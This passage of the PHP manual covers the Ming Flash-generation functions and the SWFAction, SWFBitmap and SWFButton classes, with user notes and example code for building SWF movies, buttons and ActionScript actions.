intel dot nik at gmail dot com 01-Sep-2011 06:08
I want create a api in flash and php to convert html text into images?
www.nidiots.co.in
mabuzzer at hotmail dot com 13-Mar-2002 10:58
ming_setscale() sets the scale of the output SWF.

Inside the SWF file, coordinates are measured in TWIPS, rather than PIXELS. There are 20 TWIPS in 1 pixel.

Originally, Ming used the TWIP coordinate values, but this was quite often confusing, especially when loading a Ming generated movie into one created using Flash.

Ming v0.1.0 addressed this, by making the default coordinate system use Pixels. This function is to allow older code (which assumes the scale to be in TWIPS) to continue to function as it did under Ming pre 0.1.0

As the Ming site says, "If you have no idea what I'm talking about, good. " Because you then have no need for this function.
ming_setcubicthreshold
ming_setswfcompression
Ming Functions


Sets the SWF output compression

ming_setscale
ming_useconstants
Ming Functions
PHP Manual

ming_setswfcompression

(PHP 5.2.1-5.3.0, PECL ming SVN)

ming_setswfcompression — Sets the SWF output compression

Description

void ming_setswfcompression ( int $level )

Sets the SWF output compression level.

Parameters

level

The new compression level. Should be a value between 1 and 9 inclusive.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ming_setscale
ming_useconstants
Ming Functions


Use constant pool

ming_setswfcompression
ming_useswfversion
Ming Functions
PHP Manual

ming_useconstants

(PHP 5 <= 5.3.0, PECL ming SVN)

ming_useconstants — Use constant pool

Description

void ming_useconstants ( int $use )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ming_setswfcompression
ming_useswfversion
Ming Functions


Sets the SWF version

ming_useconstants
SWFAction
Ming Functions
PHP Manual

ming_useswfversion

(PHP 4 >= 4.2.0, PHP 5 <= 5.3.0, PECL ming SVN)

ming_useswfversion — Sets the SWF version

Description

void ming_useswfversion ( int $version )

Sets the SWF version to be used in the movie. This affect the bahaviour of Action Script.

Parameters

version

SWF version to use.

Return Values

No value is returned.

Examples

Example #1 ming_useswfversion() example

<?php

$movie = new SWFMovie();
ming_useswfversion(4); // Flash 4

?>

User Contributed Notes

sneakyimp at hot mail dot com 14-Nov-2008 03:32
According to the docs at libming.net, this setting specifies which flash version to be used when creating your SWF file.  You can specify versions 4 through 8.  More here:

http://www.libming.net/docs/libming/Ming_useSWFVersion.html
ming_useconstants
SWFAction
Ming Functions


The SWFAction class

(No version information available, might only be in SVN)

Introduction

SWFAction.

Class synopsis

SWFAction {
/* Methods */
__construct ( string $script )
}

Description

The script syntax is based on the C language, but with a lot taken out- the SWF bytecode machine is just too simpleminded to do a lot of things we might like. For instance, we can't implement function calls without a tremendous amount of hackery because the jump bytecode has a hardcoded offset value. No pushing your calling address to the stack and returning- every function would have to know exactly where to return to.

So what's left? The compiler recognises the following tokens:

  • break
  • for
  • continue
  • if
  • else
  • do
  • while

There is no typed data; all values in the SWF action machine are stored as strings. The following functions can be used in expressions:

time()
Returns the number of milliseconds (?) elapsed since the movie started.
random(seed)
Returns a pseudo-random number in the range 0-seed.
length(expr)
Returns the length of the given expression.
int(number)
Returns the given number rounded down to the nearest integer.
concat(expr, expr)
Returns the concatenation of the given expressions.
ord(expr)
Returns the ASCII code for the given character
chr(num)
Returns the character for the given ASCII code
substr(string, location, length)
Returns the substring of length length at location location of the given string string.

Additionally, the following commands may be used:

duplicateClip(clip, name, depth)
Duplicate the named movie clip (aka sprite). The new movie clip has name name and is at depth depth.
removeClip(expr)
Removes the named movie clip.
trace(expr)
Write the given expression to the trace log. Doubtful that the browser plugin does anything with this.
startDrag(target, lock, [left, top, right, bottom])
Start dragging the movie clip target. The lock argument indicates whether to lock the mouse (?)- use 0 (FALSE) or 1 (TRUE). Optional parameters define a bounding area for the dragging.
stopDrag()
Stop dragging my heart around. And this movie clip, too.
callFrame(expr)
Call the named frame as a function.
getURL(url, target, [method])
Load the given URL into the named target. The target argument corresponds to HTML document targets (such as "_top" or "_blank"). The optional method argument can be POST or GET if you want to submit variables back to the server.
loadMovie(url, target)
Load the given URL into the named target. The target argument can be a frame name (I think), or one of the magical values "_level0" (replaces current movie) or "_level1" (loads new movie on top of current movie).
nextFrame()
Go to the next frame.
prevFrame()
Go to the last (or, rather, previous) frame.
play()
Start playing the movie.
stop()
Stop playing the movie.
toggleQuality()
Toggle between high and low quality.
stopSounds()
Stop playing all sounds.
gotoFrame(num)
Go to frame number num. Frame numbers start at 0.
gotoFrame(name)
Go to the frame named name. Which does a lot of good, since I haven't added frame labels yet.
setTarget(expr)
Sets the context for action. Or so they say- I really have no idea what this does.
And there's one weird extra thing. The expression frameLoaded(num) can be used in if statements and while loops to check if the given frame number has been loaded yet. Well, it's supposed to, anyway, but I've never tested it and I seriously doubt it actually works. You can just use /:framesLoaded instead.

Movie clips (all together now- aka sprites) have properties. You can read all of them (or can you?), you can set some of them, and here they are:

  • x
  • y
  • xScale
  • yScale
  • currentFrame - (read-only)
  • totalFrames - (read-only)
  • alpha - transparency level
  • visible - 1=on, 0=off (?)
  • width - (read-only)
  • height - (read-only)
  • rotation
  • target - (read-only) (???)
  • framesLoaded - (read-only)
  • name
  • dropTarget - (read-only) (???)
  • url - (read-only) (???)
  • highQuality - 1=high, 0=low (?)
  • focusRect - (???)
  • soundBufTime - (???)
So, setting a sprite's x position is as simple as /box.x = 100;. Why the slash in front of the box, though? That's how flash keeps track of the sprites in the movie, just like a Unix filesystem- here it shows that box is at the top level. If the sprite named box had another sprite named biff inside of it, you'd set its x position with /box/biff.x = 100;. At least, I think so; correct me if I'm wrong here.

Table of Contents

  • SWFAction::__construct — Creates a new SWFAction

User Contributed Notes

Mark Omohundro, ajamyajax dot com 15-Feb-2009 11:05
<?php
// tip: if you want to STOP an animation using SWFAction(),
// add a nextFrame() method immediately after, like this:

$p = new SWFSprite();
// ...
$i->rotate(15);
$p->nextFrame();
// ...
$p->add(new SWFAction("stop();"));
$p->nextFrame();  // stops right here
//(eop)

// this also seems to work, stopping a movie *exactly* where you want
// but only if not using SWFSprite() movie clips... then try the above.
$m->add(new SWFAction("stop();"));
$m->nextFrame();
//(eop)

// also: setFrames(n) doesn't seem to stop animation immediately...
// by design, or perhaps a current version/older release bug(?)
// the above was only tested with Ming 0.3beta1.  hope this helps.
?>
jon at nux dot co dot uk 06-Sep-2008 09:27
A little story that may help some others - part 2

and this didn't work... why not.. the trace gave me a clue:

Warning: createEmptyMovieClip is not a function

After a bit of digging around I found that this was because the flash movie was not running in the right version. There is a ming option that is mentioned in other posts but does not seem to be well documented and that is:

ming_useswfversion(setversion)

This makes the world of a difference as it sets what version of flash ming outputs its movies as.

So the monent I added:

ming_useswfversion(6)

To the top of my php I not only did the createEmptyMovieClip function work but so did the loading and the variable was accessible. Huruh!

So my final code now looks like this:

<?php
    ming_useswfversion(6);

    $m = new SWFMovie();
    $m->setRate(30.000000);
    $m->setDimension(480, 400);
    $m->setBackground(0xff, 0xff, 0xff);

    $m->add(new SWFAction('
        myvar = "variable to pass to flash";
        this.createEmptyMovieClip("mc", 99999);
        mc.loadMovie ("/flash_file_created_by_hand.swf");
    ');

    header('Content-type: application/x-shockwave-flash');
    $m->output();
?>

instead of this:

<?php
    $m = new SWFMovie();
    $m->setRate(30.000000);
    $m->setDimension(480, 400);
    $m->setBackground(0xff, 0xff, 0xff);

    $m->add(new SWFAction('
        myvar = "variable to pass to flash";
        LoadMovie("/flash_file_created_by_hand.swf", "mc");
    ');

    /* -- make movie clip 'mc' that we will load flash_file_created_by_hand.swf into -- */
    $s1 = new SWFSprite();  /* (1 frames) */
    $s1->nextFrame();  /* (end of sprite frame 0) */
    $i1 = $m->add($s1);
    $i1->setName('mc');
    $m->nextFrame();  /* (end of frame 0) */

    header('Content-type: application/x-shockwave-flash');
    $m->output();
?>

I dont pretend to be a flash guru.. but i know it took me a while to figure this all out.. so I thought that this post might one day be of help to someone.
jon at nux dot co dot uk 06-Sep-2008 09:26
A little story that may help some others - part 1

Upgrading from:

I have used ming for several years now for injecting variables into flash, usually for menus. In a recent move to a new server all the ming/php stopped working. Ming was working and properly installed but the variables just weren't apparent within the flash movie.

The old server is running:
ming-0.2a_1         LGPL'ed Flash 4/5 movie output library with many languages
php4-ming-4.4.1_1   The ming shared extension for php

The new one is running:
ming-0.3.0_3        LGPL'ed Flash 4/5 movie output library with many languages
php5-ming-5.2.6_1   The ming shared extension for php

So the way I have always done this is to put all my data together in php, and then put it into an array/variable in Flash. I then create a movie clip and load my movie.swf (made by hand in flash) into the movieclip.

I know there are now cleaner ways of getting data loaded into Flash (even directly from Flash without ming) but as I have many many movies out there using ming it is far easier to change a few lines of php to get them working again than change every flash movie.

So anyhow, here is the code:

<?php
    $m = new SWFMovie();
    $m->setRate(30.000000);
    $m->setDimension(480, 400);
    $m->setBackground(0xff, 0xff, 0xff);

    $m->add(new SWFAction('
        myvar = "variable to pass to flash";
        LoadMovie("/flash_file_created_by_hand.swf", "mc");
    ');

    /* -- make movie clip 'mc' that we will load flash_file_created_by_hand.swf into -- */
    $s1 = new SWFSprite();  /* (1 frames) */
    $s1->nextFrame();  /* (end of sprite frame 0) */
    $i1 = $m->add($s1);
    $i1->setName('mc');
    $m->nextFrame();  /* (end of frame 0) */

    header('Content-type: application/x-shockwave-flash');
    $m->output();
?>

So what stopped working. Well this took me a while to work out, and even know I am not 100% sure but I can tell you what does work and how I got there.

Firstly I needed some more debugging, and so installing the flash debug player http://www.adobe.com/support/flashplayer/downloads.html and 'Flash Tracer' https://addons.mozilla.org/en-US/firefox/addon/3469 enabled me to see trace output of the ming movie and my loaded movie (flash_file_created_by_hand.swf).  If you don't already know then this is worth knowing about. I had to play around a bit to get the debug player to write its log file, but it is worth it.
Make sure you have the write settings when you publish your movie otherwise you will not be able to see the trace output.

So now I can see trace... well I used to this run a few checks to see for instance if the movie clip was there :

$s1->add(new SWFAction('
    trace ("location of movie clip is: " + this._target);
');

and so I played around.. and I could see that the movie clip 'mc' was being created and that the movie flash_file_created_by_hand.swf was being loaded into  it but well not much else. So I still coudn't see what was happening to the data. I currently suspect that the loadMovie was loading the movie into level0 or _root rather than into /mc (_root.mc) as thus wiping out the ming vabiables.. but I can't be sure. Given that the trace of the target etc happens before the loadmovie function I think this is entirely possible.

Anyhow, I thought I may aswell try to do this a differt way.. that is create the movieclip from actionsript rather than with php/ming.. ie:

$m->add(new SWFAction('
    this.createEmptyMovieClip("mc", 999);
');

instead of:

/* -- make movie clip 'mc' that we will load flash_file_created_by_hand.swf into -- */
$s1 = new SWFSprite();  /* (1 frames) */
$s1->nextFrame();  /* (end of sprite frame 0) */
$i1 = $m->add($s1);
$i1->setName('mc');
$m->nextFrame();  /* (end of frame 0) */
PHP User 04-Feb-2008 08:21
Typo in first example above:

  $m->add(new SWFAction("/box.x += 3;"));

Should be:

  $m->add(new SWFAction("box.x += 3;"));
tore dot aurstad at ntebb dot no 24-Nov-2007 07:09
There is some difficulty adressing objects in the swfmovie using swfaction, at least when using Windows and Flash Player 9. I debugged the .swf file generated with php ming in
Adobe Flash CS3 and saw that my references on swfdisplayitems was not set correctly. I tried labelling a submovie (swfsprite object) "showmovie", but the actionscript did not seem to be able to reference the object. The debugging in Adobe Flash 9 showed the "showmovie" object to instead have the labelling "_level0.instance1", I adjusted the code and then was able to manipulate the objects in my swfmovie. The naming scheme seems to follow this "_level0.instanceX" labelling, check by debugging your .swf movies generated from php ming at least in Windows+Flash player 9 to check if swfdisplayitem's method setname also does not work here.

Tore Aurstad, Norway
samrerb at gmail dot com 12-Aug-2006 09:03
for creating a play/pause button I used this script:
<?php
//pause button
  $b = new SWFButton();
  $b->addShape(rect(0, 0xff, 0), SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
  $b->addAction(new SWFAction("stop();"),SWFBUTTON_MOUSEDOWN);
  $i = $movie->add($b);

//play button
  $b = new SWFButton();
  $b->addShape(rect_two(0, 0xff, 0), SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
  $b->addAction(new SWFAction("play();"),SWFBUTTON_MOUSEDOWN);
  $i = $movie->add($b);
?>
it has to be run during every frame for the buttons to be in every frame... hope that helps somebody....
julien/*AT*/theoconcept.com 26-Jan-2006 10:41
fscommand, the proper way to call a javascript function from a flash animation seems not to work in Ming at the moment, here is a commented example on how to do that :

http://blog.theoconcept.com/flashlink.php
ifrost at uos dot de 25-Oct-2004 06:50
If you want to open an URL in a new window, define a shape ($ashape) and use this code:

<?php
$b = new SWFButton();
$b->addShape($ashape, SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
$b->addAction(
    new SWFAction(
    'getURL("http://www.php.net","_blank");' // _blank is the target like in html
    ), SWFBUTTON_MOUSEDOWN
);
?>

But if you want it in the same window use this addAction():

<?php
$b->addAction(
    new SWFAction(
    'this.getURL("http://www.php.net");'
    ), SWFBUTTON_MOUSEDOWN
);
?>
jerryscript at aol dot com 04-Jan-2004 06:28
Ming 0.3 (current cvs) can use most MX actionscript, just set the swf version to 6

ming_useswfversion(6);
Anze 03-Nov-2003 12:45
fscommand() doesn't work (at least in Ming 0.2a), but there is a workaround.
Instead of:
 fscommand("do","something");
use:
 getURL("fscommand:do","something");
jamesNOSPAMbarros at hotNOSPAMmail dot com 13-Sep-2002 11:35
Printing Flash Movies

When a browser tries to print flash, the autoscaling can make it look ugly. users have to right click on the flash and select "print" to get it to print properly. (so that thier flash player is handling the printing, not the browser) If you dont want to require this of your users, you can create a print button with the following action:

getURL('print:', '/');

by default, this prints ALL frames. to avoid this, just put:

$m->labelFrame("#p");
before:
$m->nextFrame();

where $m is your SWFMovie. the #p label denotes a printable frame. (this also allows you to build your movie, then throw the print button into the next frame and not have it show up when you print. )
diem at writeme dot com 05-Feb-2002 09:11
Sorry Guys ....
the /box.x syntax is for fash version 4 ... and _root.box._x is used for flash version 5 ....
Ming >= 0.2 assumes version 5 by default .... to use version 4 syntax, you must use ming_useswfversion before ...
ming_useswfversion
SWFAction::__construct
Ming


Creates a new SWFAction

SWFAction
SWFBitmap
SWFAction
PHP Manual

SWFAction::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFAction::__construct — Creates a new SWFAction

Description

SWFAction::__construct ( string $script )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFAction and compiles the given script in it.

Parameters

script

An ActionScript snippet to associate with the SWFAction. See SWFAction for more details.

User Contributed Notes

There are no user contributed notes for this page.
SWFAction
SWFBitmap
SWFAction


The SWFBitmap class

(No version information available, might only be in SVN)

Introduction

SWFBitmap.

Class synopsis

SWFBitmap {
/* Methods */
__construct ( mixed $file [, mixed $alphafile ] )
float getHeight ( void )
float getWidth ( void )
}

Table of Contents

  • SWFBitmap::__construct — Loads Bitmap object
  • SWFBitmap::getHeight — Returns the bitmap's height
  • SWFBitmap::getWidth — Returns the bitmap's width

User Contributed Notes

david dot jiang at muchdj dot com 16-Sep-2009 09:36
I found a workaround for the load jpg problem for SWFBitmap.

Error message:

(Catchable fatal error: SWFMovie::save() [function.SWFMovie-save]: Initial Jpeg marker not found! in /loalhost/test/swfjpg/swfjpg.php on line 23
)

This doesnt work:

<?php
 $f = $s->addFill(new SWFBitmap( file_get_contents("image.jpg")));
?>

But this will works fine:

<?php
 $f = $s->addFill(new SWFBitmap((fopen('image.jpg','rb')));
?>
SWFAction::__construct
SWFBitmap::__construct
Ming


Loads Bitmap object

SWFBitmap
SWFBitmap::getHeight
SWFBitmap
PHP Manual

SWFBitmap::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFBitmap::__construct — Loads Bitmap object

Description

SWFBitmap::__construct ( mixed $file [, mixed $alphafile ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates the new SWFBitmap object from the given file.

Parameters

For both parameters you can provide a file pointer returned by fopen() or the image data, as a binary string.

file

Note:

We can only deal with baseline (frame 0) jpegs, no baseline optimized or progressive scan jpegs!

You can't import png images directly, though- have to use the png2dbl utility to make a dbl ("define bits lossless") file from the png. The reason for this is that I don't want a dependency on the png library in ming- autoconf should solve this, but that's not set up yet.

alphafile

An MSK file to be used as an alpha mask for a JPEG image.

Examples

Example #1 Importing a DBL file

<?php
$s = new SWFShape();
$f = $s->addFill(new SWFBitmap(file_get_contents("image.dbl")));
$s->setRightFill($f);

$s->drawLine(32, 0);
$s->drawLine(0, 32);
$s->drawLine(-32, 0);
$s->drawLine(0, -32);

$m = new SWFMovie();
$m->setDimension(32, 32);
$m->add($s);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

Example #2 Using an alpha mask

<?php

$s = new SWFShape();

// .msk file generated with "gif2mask" utility
$f = $s->addFill(new SWFBitmap(file_get_contents("alphafill.jpg"), file_get_contents("alphafill.msk")));
$s->setRightFill($f);

$s->drawLine(640, 0);
$s->drawLine(0, 480);
$s->drawLine(-640, 0);
$s->drawLine(0, -480);

$c = new SWFShape();
$c->setRightFill($c->addFill(0x99, 0x99, 0x99));
$c->drawLine(40, 0);
$c->drawLine(0, 40);
$c->drawLine(-40, 0);
$c->drawLine(0, -40);

$m = new SWFMovie();
$m->setDimension(640, 480);
$m->setBackground(0xcc, 0xcc, 0xcc);

// draw checkerboard background
for ($y=0; $y<480; $y+=40) {
  for ($x=0; $x<640; $x+=80) {
    $i = $m->add($c);
    $i->moveTo($x, $y);
  }

  $y+=40;

  for ($x=40; $x<640; $x+=80) {
    $i = $m->add($c);
    $i->moveTo($x, $y);
  }
}

$m->add($s);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFBitmap
SWFBitmap::getHeight
SWFBitmap


Returns the bitmap's height

SWFBitmap::__construct
SWFBitmap::getWidth
SWFBitmap
PHP Manual

SWFBitmap::getHeight

(PHP 4 >= 4.0.5)

SWFBitmap::getHeight — Returns the bitmap's height

Description

float SWFBitmap::getHeight ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the bitmap's height.

Return Values

Returns the bitmap height in pixels.

See Also

  • SWFBitmap::getWidth() - Returns the bitmap's width

User Contributed Notes

There are no user contributed notes for this page.
SWFBitmap::__construct
SWFBitmap::getWidth
SWFBitmap


Returns the bitmap's width

SWFBitmap::getHeight
SWFButton
SWFBitmap
PHP Manual

SWFBitmap::getWidth

(PHP 4 >= 4.0.5)

SWFBitmap::getWidth — Returns the bitmap's width

Description

float SWFBitmap::getWidth ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the bitmap's width.

Return Values

Returns the bitmap width in pixels.

See Also

  • SWFBitmap::getHeight() - Returns the bitmap's height

User Contributed Notes

There are no user contributed notes for this page.
SWFBitmap::getHeight
SWFButton
SWFBitmap


The SWFButton class

(No version information available, might only be in SVN)

Introduction

SWFButton.

Class synopsis

SWFButton {
/* Methods */
void addAction ( SWFAction $action , int $flags )
SWFSoundInstance addASound ( SWFSound $sound , int $flags )
void addShape ( SWFShape $shape , int $flags )
__construct ( void )
void setAction ( SWFAction $action )
void setDown ( SWFShape $shape )
void setHit ( SWFShape $shape )
void setMenu ( int $flag )
void setOver ( SWFShape $shape )
void setUp ( SWFShape $shape )
}

Table of Contents

  • SWFButton::addAction — Adds an action
  • SWFButton::addASound — Associates a sound with a button transition
  • SWFButton::addShape — Adds a shape to a button
  • SWFButton::__construct — Creates a new Button
  • SWFButton::setAction — Sets the action
  • SWFButton::setDown — Alias for addShape(shape, SWFBUTTON_DOWN)
  • SWFButton::setHit — Alias for addShape(shape, SWFBUTTON_HIT)
  • SWFButton::setMenu — enable track as menu button behaviour
  • SWFButton::setOver — Alias for addShape(shape, SWFBUTTON_OVER)
  • SWFButton::setUp — Alias for addShape(shape, SWFBUTTON_UP)

User Contributed Notes

There are no user contributed notes for this page.
SWFBitmap::getWidth
SWFButton::addAction
Ming


Adds an action

SWFButton
SWFButton::addASound
SWFButton
PHP Manual

SWFButton::addAction

(PHP 4 >= 4.0.5)

SWFButton::addAction — Adds an action

Description

void SWFButton::addAction ( SWFAction $action , int $flags )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Adds the given action to the button for the given conditions.

Parameters

action

An SWFAction, returned by SWFAction::__construct().

flags

The following flags are valid: SWFBUTTON_MOUSEOVER, SWFBUTTON_MOUSEOUT, SWFBUTTON_MOUSEUP, SWFBUTTON_MOUSEUPOUTSIDE, SWFBUTTON_MOUSEDOWN, SWFBUTTON_DRAGOUT and SWFBUTTON_DRAGOVER.

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

T_wigg 21-Sep-2003 09:41
I had a hard time finding a way to stop a sprite, so I figured I would post it.

     $button = new SWFButton();
     $button->addShape($box, SWFBUTTON_UP | SWFBUTTON_HIT | SWFBUTTON_OVER | SWFBUTTON_DOWN);
     $button->addAction(new SWFAction("
          setTarget('box');
          stop();
      "), SWFBUTTON_MOUSEUP);

     $item = $movie->add($button);

This works the same way with play();
SWFButton
SWFButton::addASound
SWFButton


Associates a sound with a button transition

SWFButton::addAction
SWFButton::addShape
SWFButton
PHP Manual

SWFButton::addASound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::addASound — Associates a sound with a button transition

Description

SWFSoundInstance SWFButton::addASound ( SWFSound $sound , int $flags )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::addAction
SWFButton::addShape
SWFButton


Adds a shape to a button

SWFButton::addASound
SWFButton::__construct
SWFButton
PHP Manual

SWFButton::addShape

(PHP 4 >= 4.0.5)

SWFButton::addShape — Adds a shape to a button

Description

void SWFButton::addShape ( SWFShape $shape , int $flags )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Adds the given shape to the button.

Parameters

shape

An SWFShape instance

flags

The following flags are valid: SWFBUTTON_UP, SWFBUTTON_OVER, SWFBUTTON_DOWN and SWFBUTTON_HIT.

SWFBUTTON_HIT isn't ever displayed, it defines the hit region for the button. That is, everywhere the hit shape would be drawn is considered a "touchable" part of the button.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::addASound
SWFButton::__construct
SWFButton


Creates a new Button

SWFButton::addShape
SWFButton::setAction
SWFButton
PHP Manual

SWFButton::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::__construct — Creates a new Button

Description

SWFButton::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new Button.

Examples

This simple example will show your usual interactions with buttons : rollover, rollon, mouseup, mousedown, noaction.

Example #1 Usual interactions with buttons

<?php

$f = new SWFFont("_serif");

$p = new SWFSprite();

function label($string)
{
  global $f;

  $t = new SWFTextField();
  $t->setFont($f);
  $t->addString($string);
  $t->setHeight(200);
  $t->setBounds(3200, 200);
  return $t;
}

function addLabel($string)
{
  global $p;

  $i = $p->add(label($string));
  $p->nextFrame();
  $p->remove($i);
}

$p->add(new SWFAction("stop();"));
addLabel("NO ACTION");
addLabel("SWFBUTTON_MOUSEUP");
addLabel("SWFBUTTON_MOUSEDOWN");
addLabel("SWFBUTTON_MOUSEOVER");
addLabel("SWFBUTTON_MOUSEOUT");
addLabel("SWFBUTTON_MOUSEUPOUTSIDE");
addLabel("SWFBUTTON_DRAGOVER");
addLabel("SWFBUTTON_DRAGOUT");

function rect($r, $g, $b)
{
  $s = new SWFShape();
  $s->setRightFill($s->addFill($r, $g, $b));
  $s->drawLine(600, 0);
  $s->drawLine(0, 600);
  $s->drawLine(-600, 0);
  $s->drawLine(0, -600);

  return $s;
}

$b = new SWFButton();
$b->addShape(rect(0xff, 0, 0), SWFBUTTON_UP | SWFBUTTON_HIT);
$b->addShape(rect(0, 0xff, 0), SWFBUTTON_OVER);
$b->addShape(rect(0, 0, 0xff), SWFBUTTON_DOWN);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(1);"),
          SWFBUTTON_MOUSEUP);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(2);"),
      SWFBUTTON_MOUSEDOWN);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(3);"),
      SWFBUTTON_MOUSEOVER);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(4);"),
      SWFBUTTON_MOUSEOUT);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(5);"),
      SWFBUTTON_MOUSEUPOUTSIDE);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(6);"),
      SWFBUTTON_DRAGOVER);

$b->addAction(new SWFAction("setTarget('/label'); gotoFrame(7);"),
      SWFBUTTON_DRAGOUT);

$m = new SWFMovie();
$m->setDimension(4000, 3000);

$i = $m->add($p);
$i->setName("label");
$i->moveTo(400, 1900);

$i = $m->add($b);
$i->moveTo(400, 900);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

This simple example will enables you to drag draw a big red button on the windows. No drag-and-drop, just moving around.

Example #2 Drag example

<?php

$s = new SWFShape();
$s->setRightFill($s->addFill(0xff, 0, 0));
$s->drawLine(1000,0);
$s->drawLine(0,1000);
$s->drawLine(-1000,0);
$s->drawLine(0,-1000);

$b = new SWFButton();
$b->addShape($s, SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);

$b->addAction(new SWFAction("startDrag('/test', 0);"), // '0' means don't lock to mouse
      SWFBUTTON_MOUSEDOWN);

$b->addAction(new SWFAction("stopDrag();"),
      SWFBUTTON_MOUSEUP | SWFBUTTON_MOUSEUPOUTSIDE);

$p = new SWFSprite();
$p->add($b);
$p->nextFrame();

$m = new SWFMovie();
$i = $m->add($p);
$i->setName('test');
$i->moveTo(1000,1000);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::addShape
SWFButton::setAction
SWFButton


Sets the action

SWFButton::__construct
SWFButton::setDown
SWFButton
PHP Manual

SWFButton::setAction

(PHP 4 >= 4.0.5)

SWFButton::setAction — Sets the action

Description

void SWFButton::setAction ( SWFAction $action )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the action to be performed when the button is clicked.

This is a shortcut for SWFButton::addAction() called with the SWFBUTTON_MOUSEUP flag.

Parameters

action

An SWFAction, returned by SWFAction::__construct().

Return Values

No value is returned.

See Also

  • SWFButton::addAction() - Adds an action
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::__construct
SWFButton::setDown
SWFButton


Alias for addShape(shape, SWFBUTTON_DOWN)

SWFButton::setAction
SWFButton::setHit
SWFButton
PHP Manual

SWFButton::setDown

(PHP 4 >= 4.0.5)

SWFButton::setDown — Alias for addShape(shape, SWFBUTTON_DOWN)

Description

void SWFButton::setDown ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::setdown() alias for addShape(shape, SWFBUTTON_DOWN).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::setAction
SWFButton::setHit
SWFButton


Alias for addShape(shape, SWFBUTTON_HIT)

SWFButton::setDown
SWFButton::setMenu
SWFButton
PHP Manual

SWFButton::setHit

(PHP 4 >= 4.0.5)

SWFButton::setHit — Alias for addShape(shape, SWFBUTTON_HIT)

Description

void SWFButton::setHit ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::sethit() alias for addShape(shape, SWFBUTTON_HIT).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::setDown
SWFButton::setMenu
SWFButton


enable track as menu button behaviour

SWFButton::setHit
SWFButton::setOver
SWFButton
PHP Manual

SWFButton::setMenu

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFButton::setMenu — enable track as menu button behaviour

Description

void SWFButton::setMenu ( int $flag )
Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

This parameter can be used for a slight different behavior of buttons. You can set it to 0 (off) or 1 (on).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::setHit
SWFButton::setOver
SWFButton


Alias for addShape(shape, SWFBUTTON_OVER)

SWFButton::setMenu
SWFButton::setUp
SWFButton
PHP Manual

SWFButton::setOver

(PHP 4 >= 4.0.5)

SWFButton::setOver — Alias for addShape(shape, SWFBUTTON_OVER)

Description

void SWFButton::setOver ( SWFShape $shape )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::setover() alias for addShape(shape, SWFBUTTON_OVER).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::setMenu
SWFButton::setUp
SWFButton


Alias for addShape(shape, SWFBUTTON_UP)

SWFButton::setOver
SWFDisplayItem
SWFButton
PHP Manual

SWFButton::setUp

(PHP 4 >= 4.0.5)

SWFButton::setUp — Alias for addShape(shape, SWFBUTTON_UP)

Description

void SWFButton::setUp ( SWFShape $shape )
Warning

